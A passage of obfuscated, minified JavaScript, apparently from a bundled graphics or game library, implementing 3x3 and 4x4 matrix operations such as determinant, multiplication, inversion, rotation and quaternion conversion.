_0x4cb89f = _0x3f7608[0x6], _0x19a61e = _0x3f7608[0x7], _0x371891 = _0x3f7608[0x8]; return _0x3f7608[0x0] = _0x416307 * _0x371891 - _0x65a068 * _0x19a61e, _0x3f7608[0x1] = _0x13aaa3 * _0x19a61e - _0x43e5b4 * _0x371891, _0x3f7608[0x2] = _0x43e5b4 * _0x65a068 - _0x13aaa3 * _0x416307, _0x3f7608[0x3] = _0x65a068 * _0x4cb89f - _0x42a649 * _0x371891, _0x3f7608[0x4] = _0xae4a46 * _0x371891 - _0x13aaa3 * _0x4cb89f, _0x3f7608[0x5] = _0x13aaa3 * _0x42a649 - _0xae4a46 * _0x65a068, _0x3f7608[0x6] = _0x42a649 * _0x19a61e - _0x416307 * _0x4cb89f, _0x3f7608[0x7] = _0x43e5b4 * _0x4cb89f - _0xae4a46 * _0x19a61e, _0x3f7608[0x8] = _0xae4a46 * _0x416307 - _0x43e5b4 * _0x42a649, this; }, 'determinant': function () { var _0x554985 = this['val'], _0x1ff7be = _0x554985[0x0], _0x513756 = _0x554985[0x1], _0x1652ea = _0x554985[0x2], _0x3ffb06 = _0x554985[0x3], _0x3b83ac = _0x554985[0x4], _0x36b2d4 = _0x554985[0x5], _0x260ad1 = _0x554985[0x6], _0x10fced = _0x554985[0x7], _0x4f0548 = _0x554985[0x8]; return _0x1ff7be * (_0x4f0548 * _0x3b83ac - _0x36b2d4 * _0x10fced) + _0x513756 * (-_0x4f0548 * _0x3ffb06 + _0x36b2d4 * _0x260ad1) + _0x1652ea * (_0x10fced * _0x3ffb06 - _0x3b83ac * _0x260ad1); }, 'multiply': function (_0x1448d4) { var _0x430afd = this['val'], _0x18b535 = _0x430afd[0x0], _0xeef5e = _0x430afd[0x1], _0x518b65 = _0x430afd[0x2], _0x494ae8 = _0x430afd[0x3], _0x56ff6d = _0x430afd[0x4], _0x41c5d6 = _0x430afd[0x5], _0x1af7d5 = _0x430afd[0x6], _0x2f2260 = _0x430afd[0x7], _0x4e5d01 = _0x430afd[0x8], _0x5af28e = _0x1448d4['val'], _0x124d4f = _0x5af28e[0x0], _0x2303d5 = _0x5af28e[0x1], _0x460323 = _0x5af28e[0x2], _0x294c9c = _0x5af28e[0x3], _0x2c045a = _0x5af28e[0x4], _0x349ce0 = _0x5af28e[0x5], _0x1779c0 = _0x5af28e[0x6], _0xb06580 = _0x5af28e[0x7], _0x5dc9aa = _0x5af28e[0x8]; return _0x430afd[0x0] = _0x124d4f * _0x18b535 + _0x2303d5 * _0x494ae8 + _0x460323 * _0x1af7d5, _0x430afd[0x1] = _0x124d4f * _0xeef5e + _0x2303d5 * _0x56ff6d + _0x460323 * _0x2f2260, _0x430afd[0x2] = _0x124d4f * _0x518b65 + _0x2303d5 * _0x41c5d6 + _0x460323 * _0x4e5d01, _0x430afd[0x3] = _0x294c9c * _0x18b535 + _0x2c045a * _0x494ae8 + _0x349ce0 * _0x1af7d5, _0x430afd[0x4] = _0x294c9c * _0xeef5e + _0x2c045a * _0x56ff6d + _0x349ce0 * _0x2f2260, _0x430afd[0x5] = _0x294c9c * _0x518b65 + _0x2c045a * _0x41c5d6 + _0x349ce0 * _0x4e5d01, _0x430afd[0x6] = _0x1779c0 * _0x18b535 + _0xb06580 * _0x494ae8 + _0x5dc9aa * _0x1af7d5, _0x430afd[0x7] = _0x1779c0 * _0xeef5e + _0xb06580 * _0x56ff6d + _0x5dc9aa * _0x2f2260, _0x430afd[0x8] = _0x1779c0 * _0x518b65 + _0xb06580 * _0x41c5d6 + _0x5dc9aa * _0x4e5d01, this; }, 'translate': function (_0x406c61) { var _0x4352d0 = this['val'], _0x460171 = _0x406c61['x'], _0x51717e = _0x406c61['y']; return _0x4352d0[0x6] = _0x460171 * _0x4352d0[0x0] + _0x51717e * _0x4352d0[0x3] + _0x4352d0[0x6], _0x4352d0[0x7] = _0x460171 * _0x4352d0[0x1] + _0x51717e * _0x4352d0[0x4] + _0x4352d0[0x7], _0x4352d0[0x8] = _0x460171 * _0x4352d0[0x2] + _0x51717e * _0x4352d0[0x5] + _0x4352d0[0x8], this; }, 'rotate': function (_0x59478f) { var _0x5666ed = this['val'], _0x152b79 = _0x5666ed[0x0], _0x34b859 = _0x5666ed[0x1], _0x4dd7b7 = _0x5666ed[0x2], _0x390b75 = _0x5666ed[0x3], _0x30d729 = _0x5666ed[0x4], _0xad1118 = _0x5666ed[0x5], _0x1c5843 = Math['sin'](_0x59478f), _0x252cc1 = Math['cos'](_0x59478f); return _0x5666ed[0x0] = _0x252cc1 * _0x152b79 + _0x1c5843 * _0x390b75, _0x5666ed[0x1] = _0x252cc1 * _0x34b859 + _0x1c5843 * _0x30d729, _0x5666ed[0x2] = _0x252cc1 * _0x4dd7b7 + _0x1c5843 * _0xad1118, _0x5666ed[0x3] = _0x252cc1 * _0x390b75 - _0x1c5843 * _0x152b79, _0x5666ed[0x4] = _0x252cc1 * _0x30d729 - _0x1c5843 * _0x34b859, _0x5666ed[0x5] = _0x252cc1 * _0xad1118 - _0x1c5843 * _0x4dd7b7, this; }, 'scale': function (_0x25dae6) { var _0x24b5ca = this['val'], _0xdf5e3d = _0x25dae6['x'], _0x4c6236 = _0x25dae6['y']; return _0x24b5ca[0x0] = _0xdf5e3d * _0x24b5ca[0x0], _0x24b5ca[0x1] = _0xdf5e3d * _0x24b5ca[0x1], _0x24b5ca[0x2] = _0xdf5e3d * _0x24b5ca[0x2], _0x24b5ca[0x3] = _0x4c6236 * _0x24b5ca[0x3], _0x24b5ca[0x4] = _0x4c6236 * _0x24b5ca[0x4], _0x24b5ca[0x5] = _0x4c6236 * _0x24b5ca[0x5], this; }, 'fromQuat': function (_0x2d569c) { var _0x13f2b5 = _0x2d569c['x'], _0x1b61ad = _0x2d569c['y'], _0x2a6322 = _0x2d569c['z'], _0x1007fc = _0x2d569c['w'], _0x16051e = _0x13f2b5 + _0x13f2b5, _0x185b4b = _0x1b61ad + _0x1b61ad, _0xfe6bb0 = _0x2a6322 + _0x2a6322, _0x2fc5fc = _0x13f2b5 * _0x16051e, _0x44e228 = _0x13f2b5 * _0x185b4b, _0x1360b1 = _0x13f2b5 * _0xfe6bb0, _0x155e4b = _0x1b61ad * _0x185b4b, _0x524653 = _0x1b61ad * _0xfe6bb0, _0x259317 = _0x2a6322 * _0xfe6bb0, _0x4ad81f = _0x1007fc * _0x16051e, _0x30e74f = _0x1007fc * _0x185b4b, _0x286de0 = _0x1007fc * _0xfe6bb0, _0x4faacf = this['val']; return _0x4faacf[0x0] = 0x1 - (_0x155e4b + _0x259317), _0x4faacf[0x3] = _0x44e228 + _0x286de0, _0x4faacf[0x6] = _0x1360b1 - _0x30e74f, _0x4faacf[0x1] = _0x44e228 - _0x286de0, _0x4faacf[0x4] = 0x1 - (_0x2fc5fc + _0x259317), _0x4faacf[0x7] = _0x524653 + _0x4ad81f, _0x4faacf[0x2] = _0x1360b1 + _0x30e74f, _0x4faacf[0x5] = _0x524653 - _0x4ad81f, _0x4faacf[0x8] = 0x1 - (_0x2fc5fc + _0x155e4b), this; }, 'normalFromMat4': function (_0x2fa3b2) { var _0x466d11 = _0x2fa3b2['val'], _0x5f268b = this['val'], _0x351d71 = _0x466d11[0x0], _0x1ece0b = _0x466d11[0x1], _0xf96286 = _0x466d11[0x2], _0x463aa8 = _0x466d11[0x3], _0x479166 = _0x466d11[0x4], _0x82b796 = _0x466d11[0x5], _0x57cb92 = _0x466d11[0x6], _0x4f2115 = _0x466d11[0x7], _0x537f38 = _0x466d11[0x8], _0x32755f = _0x466d11[0x9], _0x52d42c = _0x466d11[0xa], _0x17ad73 = _0x466d11[0xb], _0x3f448a = _0x466d11[0xc], _0x5bd98a = _0x466d11[0xd], _0x4d8d16 = _0x466d11[0xe], _0x31eae0 = _0x466d11[0xf], _0x43c0fb = _0x351d71 * _0x82b796 - _0x1ece0b * _0x479166, _0xb4b2de = _0x351d71 * _0x57cb92 - _0xf96286 * _0x479166, _0x8b214 = _0x351d71 * _0x4f2115 - _0x463aa8 * _0x479166, _0x394d35 = _0x1ece0b * _0x57cb92 - _0xf96286 * _0x82b796, _0x5f2ffc = _0x1ece0b * _0x4f2115 - _0x463aa8 * _0x82b796, _0x3046e5 = _0xf96286 * _0x4f2115 - _0x463aa8 * _0x57cb92, _0x550e33 = _0x537f38 * _0x5bd98a - _0x32755f * _0x3f448a, _0x5bbe5a = _0x537f38 * _0x4d8d16 - _0x52d42c * _0x3f448a, _0x5649a8 = _0x537f38 * _0x31eae0 - _0x17ad73 * _0x3f448a, _0x47f967 = _0x32755f * _0x4d8d16 - _0x52d42c * _0x5bd98a, _0x587698 = _0x32755f * _0x31eae0 - _0x17ad73 * _0x5bd98a, _0x128768 = _0x52d42c * _0x31eae0 - _0x17ad73 * _0x4d8d16, _0x806ede = _0x43c0fb * _0x128768 - _0xb4b2de * _0x587698 + _0x8b214 * _0x47f967 + _0x394d35 * _0x5649a8 - _0x5f2ffc * _0x5bbe5a + _0x3046e5 * _0x550e33; return _0x806ede ? (_0x806ede = 0x1 / _0x806ede, _0x5f268b[0x0] = (_0x82b796 * _0x128768 - _0x57cb92 * _0x587698 + _0x4f2115 * _0x47f967) * _0x806ede, _0x5f268b[0x1] = (_0x57cb92 * _0x5649a8 - _0x479166 * _0x128768 - _0x4f2115 * _0x5bbe5a) * _0x806ede, _0x5f268b[0x2] = (_0x479166 * _0x587698 - _0x82b796 * _0x5649a8 + _0x4f2115 * _0x550e33) * _0x806ede, _0x5f268b[0x3] = (_0xf96286 * _0x587698 - _0x1ece0b * _0x128768 - _0x463aa8 * _0x47f967) * _0x806ede, _0x5f268b[0x4] = (_0x351d71 * _0x128768 - _0xf96286 * _0x5649a8 + _0x463aa8 * _0x5bbe5a) * _0x806ede, _0x5f268b[0x5] = (_0x1ece0b * _0x5649a8 - _0x351d71 * _0x587698 - _0x463aa8 * _0x550e33) * _0x806ede, _0x5f268b[0x6] = (_0x5bd98a * _0x3046e5 - _0x4d8d16 * _0x5f2ffc + _0x31eae0 * _0x394d35) * _0x806ede, _0x5f268b[0x7] = (_0x4d8d16 * _0x8b214 - _0x3f448a * _0x3046e5 - _0x31eae0 * _0xb4b2de) * _0x806ede, _0x5f268b[0x8] = (_0x3f448a * _0x5f2ffc - _0x5bd98a * _0x8b214 + _0x31eae0 * _0x43c0fb) * _0x806ede, this) : null; } }); _0x46a6db['exports'] = _0x3d62c2; }, 0x25b4: (_0x5b78c3, _0x4f28e5, _0xef4215) => { var _0x5b2b03 = _0xef4215(0x1d31), _0x106e5c = _0xef4215(0x1639), _0xbd9ffb = 0.000001, _0x106fb4 = new _0x5b2b03({ 'initialize': function (_0x1400cf) { this['val'] = new Float32Array(0x10), _0x1400cf ? this['copy'](_0x1400cf) : this['identity'](); }, 'clone': function () { return new _0x106fb4(this); }, 'set': function (_0xabb58c) { return this['copy'](_0xabb58c); }, 'setValues': function (_0x1b940a, _0x30139c, _0xe019fd, _0xab020c, _0x16d53a, _0x578aee, _0x521ff8, _0x2eb0d8, _0x395851, _0x285d72, _0x10576a, _0x2528ca, _0xc86f0a, _0x78d9d4, _0x570636, _0x4556a5) { var _0x53166c = this['val']; return _0x53166c[0x0] = _0x1b940a, _0x53166c[0x1] = _0x30139c, _0x53166c[0x2] = _0xe019fd, _0x53166c[0x3] = _0xab020c, _0x53166c[0x4] = _0x16d53a, _0x53166c[0x5] = _0x578aee, _0x53166c[0x6] = _0x521ff8, _0x53166c[0x7] = _0x2eb0d8, _0x53166c[0x8] = _0x395851, _0x53166c[0x9] = _0x285d72, _0x53166c[0xa] = _0x10576a, _0x53166c[0xb] = _0x2528ca, _0x53166c[0xc] = _0xc86f0a, _0x53166c[0xd] = _0x78d9d4, _0x53166c[0xe] = _0x570636, _0x53166c[0xf] = _0x4556a5, this; }, 'copy': function (_0x3a54ce) { var _0xbd261e = _0x3a54ce['val']; return this['setValues'](_0xbd261e[0x0], _0xbd261e[0x1], _0xbd261e[0x2], _0xbd261e[0x3], _0xbd261e[0x4], _0xbd261e[0x5], _0xbd261e[0x6], _0xbd261e[0x7], _0xbd261e[0x8], _0xbd261e[0x9], _0xbd261e[0xa], _0xbd261e[0xb], _0xbd261e[0xc], _0xbd261e[0xd], _0xbd261e[0xe], _0xbd261e[0xf]); }, 'fromArray': function (_0x11f2ec) { return this['setValues'](_0x11f2ec[0x0], _0x11f2ec[0x1], _0x11f2ec[0x2], _0x11f2ec[0x3], _0x11f2ec[0x4], _0x11f2ec[0x5], _0x11f2ec[0x6], _0x11f2ec[0x7], _0x11f2ec[0x8], _0x11f2ec[0x9], _0x11f2ec[0xa], _0x11f2ec[0xb], _0x11f2ec[0xc], _0x11f2ec[0xd], _0x11f2ec[0xe], _0x11f2ec[0xf]); }, 'zero': function () { return this['setValues'](0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0); }, 'transform': function (_0x41a050, _0x3adfea, _0x5457cc) { var _0x2010d3 = _0x40b9e0['fromQuat'](_0x5457cc)['val'], _0x174a81 = _0x3adfea['x'], _0x2724d5 = _0x3adfea['y'], _0x4e3a19 = _0x3adfea['z']; return this['setValues'](_0x2010d3[0x0] * _0x174a81, _0x2010d3[0x1] * _0x174a81, _0x2010d3[0x2] * _0x174a81, 0x0, _0x2010d3[0x4] * _0x2724d5, _0x2010d3[0x5] * _0x2724d5, _0x2010d3[0x6] * _0x2724d5, 0x0, _0x2010d3[0x8] * _0x4e3a19, _0x2010d3[0x9] * _0x4e3a19, _0x2010d3[0xa] * _0x4e3a19, 0x0, _0x41a050['x'], _0x41a050['y'], _0x41a050['z'], 0x1); }, 'xyz': function (_0x4df1b9, _0x1b1c98, _0x561c54) { this['identity'](); var _0x116c9b = this['val']; return _0x116c9b[0xc] = _0x4df1b9, _0x116c9b[0xd] = _0x1b1c98, _0x116c9b[0xe] = _0x561c54, this; }, 'scaling': function (_0x277e8b, _0x1c6730, _0x4fff02) { this['zero'](); var _0x474359 = this['val']; return _0x474359[0x0] = _0x277e8b, _0x474359[0x5] = _0x1c6730, _0x474359[0xa] = _0x4fff02, _0x474359[0xf] = 0x1, this; }, 'identity': function () { return this['setValues'](0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1); }, 'transpose': function () { var _0x30d250 = this['val'], _0x4fef3f = _0x30d250[0x1], _0x3975a8 = _0x30d250[0x2], _0x227f7d = _0x30d250[0x3], _0x433ffc = _0x30d250[0x6], _0x591f06 = _0x30d250[0x7], _0x52949d = _0x30d250[0xb]; return _0x30d250[0x1] = _0x30d250[0x4], _0x30d250[0x2] = _0x30d250[0x8], _0x30d250[0x3] = _0x30d250[0xc], _0x30d250[0x4] = _0x4fef3f, _0x30d250[0x6] = _0x30d250[0x9], _0x30d250[0x7] = _0x30d250[0xd], _0x30d250[0x8] = _0x3975a8, _0x30d250[0x9] = _0x433ffc, _0x30d250[0xb] = _0x30d250[0xe], _0x30d250[0xc] = _0x227f7d, _0x30d250[0xd] = _0x591f06, _0x30d250[0xe] = _0x52949d, this; }, 'getInverse': function (_0x4d0fe1) { return this['copy'](_0x4d0fe1), this['invert'](); }, 'invert': function () { var _0x1c52fc = this['val'], _0x3c38b0 = _0x1c52fc[0x0], _0x2384ff = _0x1c52fc[0x1], _0x48b3d6 = _0x1c52fc[0x2], _0x3dabcd = _0x1c52fc[0x3], _0x4d722a = _0x1c52fc[0x4], _0x436fcc = _0x1c52fc[0x5], _0x3554f3 = _0x1c52fc[0x6], _0x35f7a2 = _0x1c52fc[0x7], _0x2d4a25 = _0x1c52fc[0x8], _0x3f8d84 = _0x1c52fc[0x9], _0x56f553 = _0x1c52fc[0xa], _0x594b62 = _0x1c52fc[0xb], _0x224285 = _0x1c52fc[0xc], _0x2c9329 = _0x1c52fc[0xd], _0x5ae633 = _0x1c52fc[0xe], _0x52c3d6 = _0x1c52fc[0xf], _0x2a4bc5 = _0x3c38b0 * _0x436fcc - _0x2384ff * _0x4d722a, _0x2d08b3 = _0x3c38b0 * _0x3554f3 - _0x48b3d6 * _0x4d722a, _0x21d113 = _0x3c38b0 * _0x35f7a2 - _0x3dabcd * _0x4d722a, _0x13ce26 = _0x2384ff * _0x3554f3 - _0x48b3d6 * _0x436fcc, _0x101d0e = _0x2384ff * _0x35f7a2 - _0x3dabcd * _0x436fcc, _0xebca6 = _0x48b3d6 * _0x35f7a2 - _0x3dabcd * _0x3554f3, _0x38f044 = _0x2d4a25 * _0x2c9329 - _0x3f8d84 * _0x224285, _0x392cb7 = _0x2d4a25 * _0x5ae633 - _0x56f553 * _0x224285, _0x1414b1 = _0x2d4a25 * _0x52c3d6 - _0x594b62 * _0x224285, _0x50daaf = _0x3f8d84 * _0x5ae633 - _0x56f553 * _0x2c9329, _0x1745e5 = _0x3f8d84 * _0x52c3d6 - _0x594b62 * _0x2c9329, _0x52f59a = _0x56f553 * _0x52c3d6 - _0x594b62 * _0x5ae633, _0x1e010c = _0x2a4bc5 * _0x52f59a - _0x2d08b3 * _0x1745e5 + _0x21d113 * _0x50daaf + _0x13ce26 * _0x1414b1 - _0x101d0e * _0x392cb7 + _0xebca6 * _0x38f044; return _0x1e010c ? (_0x1e010c = 0x1 / _0x1e010c, this['setValues']((_0x436fcc * _0x52f59a - _0x3554f3 * _0x1745e5 + _0x35f7a2 * _0x50daaf) * _0x1e010c, (_0x48b3d6 * _0x1745e5 - _0x2384ff * _0x52f59a - _0x3dabcd * _0x50daaf) * _0x1e010c, (_0x2c9329 * _0xebca6 - _0x5ae633 * _0x101d0e + _0x52c3d6 * _0x13ce26) * _0x1e010c, (_0x56f553 * _0x101d0e - _0x3f8d84 * _0xebca6 - _0x594b62 * _0x13ce26) * _0x1e010c, (_0x3554f3 * _0x1414b1 - _0x4d722a * _0x52f59a - _0x35f7a2 * _0x392cb7) * _0x1e010c, (_0x3c38b0 * _0x52f59a - _0x48b3d6 * _0x1414b1 + _0x3dabcd * _0x392cb7) * _0x1e010c, (_0x5ae633 * _0x21d113 - _0x224285 * _0xebca6 - _0x52c3d6 * _0x2d08b3) * _0x1e010c, (_0x2d4a25 * _0xebca6 - _0x56f553 * _0x21d113 + _0x594b62 * _0x2d08b3) * _0x1e010c, (_0x4d722a * _0x1745e5 - _0x436fcc * _0x1414b1 + _0x35f7a2 * _0x38f044) * _0x1e010c, (_0x2384ff * _0x1414b1 - _0x3c38b0 * _0x1745e5 - _0x3dabcd * _0x38f044) * _0x1e010c, (_0x224285 * _0x101d0e - _0x2c9329 * _0x21d113 + _0x52c3d6 * _0x2a4bc5) * _0x1e010c, (_0x3f8d84 * _0x21d113 - _0x2d4a25 * _0x101d0e - _0x594b62 * _0x2a4bc5) * _0x1e010c, (_0x436fcc * _0x392cb7 - _0x4d722a * _0x50daaf - _0x3554f3 * _0x38f044) * _0x1e010c, (_0x3c38b0 * _0x50daaf - _0x2384ff * _0x392cb7 + _0x48b3d6 * _0x38f044) * _0x1e010c, (_0x2c9329 * _0x2d08b3 - _0x224285 * _0x13ce26 - _0x5ae633 * _0x2a4bc5) * _0x1e010c, (_0x2d4a25 * _0x13ce26 - _0x3f8d84 * _0x2d08b3 + _0x56f553 * _0x2a4bc5) * _0x1e010c)) : this; }, 'adjoint': function () { var _0x458562 = this['val'], _0x35175b = _0x458562[0x0], _0x319f96 = _0x458562[0x1], _0x2a8914 = _0x458562[0x2], _0x4b1100 = _0x458562[0x3], _0x48e7f4 = _0x458562[0x4], _0x234ba1 = _0x458562[0x5], _0xcc5eaf = _0x458562[0x6], _0x851ad3 = _0x458562[0x7], _0x4dba2f = _0x458562[0x8], _0x182120 = _0x458562[0x9], _0x235aff = _0x458562[0xa], _0x5de736 = _0x458562[0xb], _0x4db14f = _0x458562[0xc], _0x4fc0df = _0x458562[0xd], _0x3a0d61 = _0x458562[0xe], _0x5d11ec = _0x458562[0xf]; return this['setValues'](_0x234ba1 * (_0x235aff * _0x5d11ec - _0x5de736 * _0x3a0d61) - _0x182120 * (_0xcc5eaf * _0x5d11ec - _0x851ad3 * _0x3a0d61) + _0x4fc0df * (_0xcc5eaf * _0x5de736 - _0x851ad3 * _0x235aff), -(_0x319f96 * (_0x235aff * _0x5d11ec - _0x5de736 * _0x3a0d61) - _0x182120 * (_0x2a8914 * _0x5d11ec - _0x4b1100 * _0x3a0d61) + _0x4fc0df * (_0x2a8914 * _0x5de736 - _0x4b1100 * _0x235aff)), _0x319f96 * (_0xcc5eaf * _0x5d11ec - _0x851ad3 * _0x3a0d61) - _0x234ba1 * (_0x2a8914 * _0x5d11ec - _0x4b1100 * _0x3a0d61) + _0x4fc0df * (_0x2a8914 * _0x851ad3 - _0x4b1100 * _0xcc5eaf), -(_0x319f96 * (_0xcc5eaf * _0x5de736 - _0x851ad3 * _0x235aff) - _0x234ba1 * (_0x2a8914 * _0x5de736 - _0x4b1100 * _0x235aff) + _0x182120 * (_0x2a8914 * _0x851ad3 - _0x4b1100 * _0xcc5eaf)), -(_0x48e7f4 * (_0x235aff * _0x5d11ec - _0x5de736 * _0x3a0d61) - _0x4dba2f * (_0xcc5eaf * _0x5d11ec - _0x851ad3 * _0x3a0d61) + _0x4db14f * (_0xcc5eaf * _0x5de736 - _0x851ad3 * _0x235aff)), _0x35175b * (_0x235aff * _0x5d11ec - _0x5de736 * _0x3a0d61) - _0x4dba2f * (_0x2a8914 * _0x5d11ec - _0x4b1100 * _0x3a0d61) + _0x4db14f * (_0x2a8914 * _0x5de736 - _0x4b1100 * _0x235aff), -(_0x35175b * (_0xcc5eaf * _0x5d11ec - _0x851ad3 * _0x3a0d61) - _0x48e7f4 * (_0x2a8914 * _0x5d11ec - _0x4b1100 * _0x3a0d61) + _0x4db14f * (_0x2a8914 * _0x851ad3 - _0x4b1100 * _0xcc5eaf)), _0x35175b * (_0xcc5eaf * _0x5de736 - _0x851ad3 * _0x235aff) - _0x48e7f4 * (_0x2a8914 * _0x5de736 - _0x4b1100 * _0x235aff) + _0x4dba2f * (_0x2a8914 * _0x851ad3 - _0x4b1100 * _0xcc5eaf), _0x48e7f4 * (_0x182120 * _0x5d11ec - _0x5de736 * _0x4fc0df) - _0x4dba2f * (_0x234ba1 * _0x5d11ec - _0x851ad3 * _0x4fc0df) + _0x4db14f * (_0x234ba1 * _0x5de736 - _0x851ad3 * _0x182120), -(_0x35175b * (_0x182120 * _0x5d11ec - _0x5de736 * _0x4fc0df) - _0x4dba2f * (_0x319f96 * _0x5d11ec - _0x4b1100 * _0x4fc0df) + _0x4db14f * (_0x319f96 * _0x5de736 - _0x4b1100 * _0x182120)), _0x35175b * (_0x234ba1 * _0x5d11ec - _0x851ad3 * _0x4fc0df) - _0x48e7f4 * (_0x319f96 * _0x5d11ec - _0x4b1100 * _0x4fc0df) + _0x4db14f * (_0x319f96 * _0x851ad3 - _0x4b1100 * _0x234ba1), -(_0x35175b * (_0x234ba1 * _0x5de736 - _0x851ad3 * _0x182120) - _0x48e7f4 * (_0x319f96 * _0x5de736 - _0x4b1100 * _0x182120) + _0x4dba2f * (_0x319f96 * _0x851ad3 - _0x4b1100 * _0x234ba1)), -(_0x48e7f4 * (_0x182120 * _0x3a0d61 - _0x235aff * _0x4fc0df) - _0x4dba2f * (_0x234ba1 * _0x3a0d61 - _0xcc5eaf * _0x4fc0df) + _0x4db14f * (_0x234ba1 * _0x235aff - _0xcc5eaf * _0x182120)), _0x35175b * (_0x182120 * _0x3a0d61 - _0x235aff * _0x4fc0df) - _0x4dba2f * (_0x319f96 * _0x3a0d61 - _0x2a8914 * _0x4fc0df) + _0x4db14f * (_0x319f96 * _0x235aff - _0x2a8914 * _0x182120), -(_0x35175b * (_0x234ba1 * _0x3a0d61 - _0xcc5eaf * _0x4fc0df) - _0x48e7f4 * (_0x319f96 * _0x3a0d61 - _0x2a8914 * _0x4fc0df) + _0x4db14f * (_0x319f96 * _0xcc5eaf - _0x2a8914 * _0x234ba1)), _0x35175b * (_0x234ba1 * _0x235aff - _0xcc5eaf * _0x182120) - _0x48e7f4 * (_0x319f96 * _0x235aff - _0x2a8914 * _0x182120) + _0x4dba2f * (_0x319f96 * _0xcc5eaf - _0x2a8914 * _0x234ba1)); }, 'determinant': function () { var _0x5ac140 = this['val'], _0x597464 = _0x5ac140[0x0], _0x389be6 = _0x5ac140[0x1], _0x2ba4ea = _0x5ac140[0x2], _0x24125a = _0x5ac140[0x3], _0x527eda = _0x5ac140[0x4], _0x3c3b55 = _0x5ac140[0x5], _0x564a6b = _0x5ac140[0x6], _0x43f68d = _0x5ac140[0x7], _0x529fed = _0x5ac140[0x8], _0x30c532 = _0x5ac140[0x9], _0x50e6d7 = _0x5ac140[0xa], _0x278628 = _0x5ac140[0xb], _0x24e0f3 = _0x5ac140[0xc], _0x258edb = _0x5ac140[0xd], _0x25e7bf = _0x5ac140[0xe], _0x1812fe = _0x5ac140[0xf]; return (_0x597464 * _0x3c3b55 - _0x389be6 * _0x527eda) * (_0x50e6d7 * _0x1812fe - _0x278628 * _0x25e7bf) - (_0x597464 * _0x564a6b - _0x2ba4ea * _0x527eda) * (_0x30c532 * _0x1812fe - _0x278628 * _0x258edb) + (_0x597464 * _0x43f68d - _0x24125a * _0x527eda) * (_0x30c532 * _0x25e7bf - _0x50e6d7 * _0x258edb) + (_0x389be6 * _0x564a6b - _0x2ba4ea * _0x3c3b55) * (_0x529fed * _0x1812fe - _0x278628 * _0x24e0f3) - (_0x389be6 * _0x43f68d - _0x24125a * _0x3c3b55) * (_0x529fed * _0x25e7bf - _0x50e6d7 * _0x24e0f3) + (_0x2ba4ea * _0x43f68d - _0x24125a * _0x564a6b) * (_0x529fed * _0x258edb - _0x30c532 * _0x24e0f3); }, 'multiply': function (_0x1c997f) { var _0x4320ca = this['val'], _0x711a70 = _0x4320ca[0x0], _0x45ff93 = _0x4320ca[0x1], _0x467cbc = _0x4320ca[0x2], _0x541011 = _0x4320ca[0x3], _0x354c12 = _0x4320ca[0x4], _0x1edda2 = _0x4320ca[0x5], _0x9f3ac9 = _0x4320ca[0x6], _0x104a5c = _0x4320ca[0x7], _0xd67b54 = _0x4320ca[0x8], _0x28c869 = _0x4320ca[0x9], _0x1a186e = _0x4320ca[0xa], _0x4f2900 = _0x4320ca[0xb], _0x555002 = _0x4320ca[0xc], _0x15ea80 = _0x4320ca[0xd], _0x418a48 = _0x4320ca[0xe], _0x37e75c = _0x4320ca[0xf], _0x5cd49b = _0x1c997f['val'], _0x224963 = _0x5cd49b[0x0], _0x1b3b88 = _0x5cd49b[0x1], _0x159693 = _0x5cd49b[0x2], _0x1f7d93 = _0x5cd49b[0x3]; return _0x4320ca[0x0] = _0x224963 * _0x711a70 + _0x1b3b88 * _0x354c12 + _0x159693 * _0xd67b54 + _0x1f7d93 * _0x555002, _0x4320ca[0x1] = _0x224963 * _0x45ff93 + _0x1b3b88 * _0x1edda2 + _0x159693 * _0x28c869 + _0x1f7d93 * _0x15ea80, _0x4320ca[0x2] = _0x224963 * _0x467cbc + _0x1b3b88 * _0x9f3ac9 + _0x159693 * _0x1a186e + _0x1f7d93 * _0x418a48, _0x4320ca[0x3] = _0x224963 * _0x541011 + _0x1b3b88 * _0x104a5c + _0x159693 * _0x4f2900 + _0x1f7d93 * _0x37e75c, _0x224963 = _0x5cd49b[0x4], _0x1b3b88 = _0x5cd49b[0x5], _0x159693 = _0x5cd49b[0x6], _0x1f7d93 = _0x5cd49b[0x7], _0x4320ca[0x4] = _0x224963 * _0x711a70 + _0x1b3b88 * _0x354c12 + _0x159693 * _0xd67b54 + _0x1f7d93 * _0x555002, _0x4320ca[0x5] = _0x224963 * _0x45ff93 + _0x1b3b88 * _0x1edda2 + _0x159693 * _0x28c869 + _0x1f7d93 * _0x15ea80, _0x4320ca[0x6] = _0x224963 * _0x467cbc + _0x1b3b88 * _0x9f3ac9 + _0x159693 * _0x1a186e + _0x1f7d93 * _0x418a48, _0x4320ca[0x7] = _0x224963 * _0x541011 + _0x1b3b88 * _0x104a5c + _0x159693 * _0x4f2900 + _0x1f7d93 * _0x37e75c, _0x224963 = _0x5cd49b[0x8], _0x1b3b88 = _0x5cd49b[0x9], _0x159693 = _0x5cd49b[0xa], _0x1f7d93 = _0x5cd49b[0xb], _0x4320ca[0x8] = _0x224963 * _0x711a70 + _0x1b3b88 * _0x354c12 + _0x159693 * _0xd67b54 + _0x1f7d93 * _0x555002, _0x4320ca[0x9] = _0x224963 * _0x45ff93 + _0x1b3b88 * _0x1edda2 + _0x159693 * _0x28c869 + _0x1f7d93 * _0x15ea80, _0x4320ca[0xa] = _0x224963 * _0x467cbc + _0x1b3b88 * _0x9f3ac9 + _0x159693 * _0x1a186e + _0x1f7d93 * _0x418a48, _0x4320ca[0xb] = _0x224963 * _0x541011 + _0x1b3b88 * _0x104a5c + _0x159693 * _0x4f2900 + _0x1f7d93 * _0x37e75c, _0x224963 = _0x5cd49b[0xc], _0x1b3b88 = _0x5cd49b[0xd], _0x159693 = _0x5cd49b[0xe], _0x1f7d93 = _0x5cd49b[0xf], _0x4320ca[0xc] = _0x224963 * _0x711a70 + _0x1b3b88 * _0x354c12 + _0x159693 * _0xd67b54 + _0x1f7d93 * _0x555002, _0x4320ca[0xd] = _0x224963 * _0x45ff93 + _0x1b3b88 * _0x1edda2 + _0x159693 * _0x28c869 + _0x1f7d93 * _0x15ea80, _0x4320ca[0xe] = _0x224963 * _0x467cbc + _0x1b3b88 * _0x9f3ac9 + _0x159693 * _0x1a186e + _0x1f7d93 * _0x418a48, _0x4320ca[0xf] = _0x224963 * _0x541011 + _0x1b3b88 * _0x104a5c + _0x159693 * _0x4f2900 + _0x1f7d93 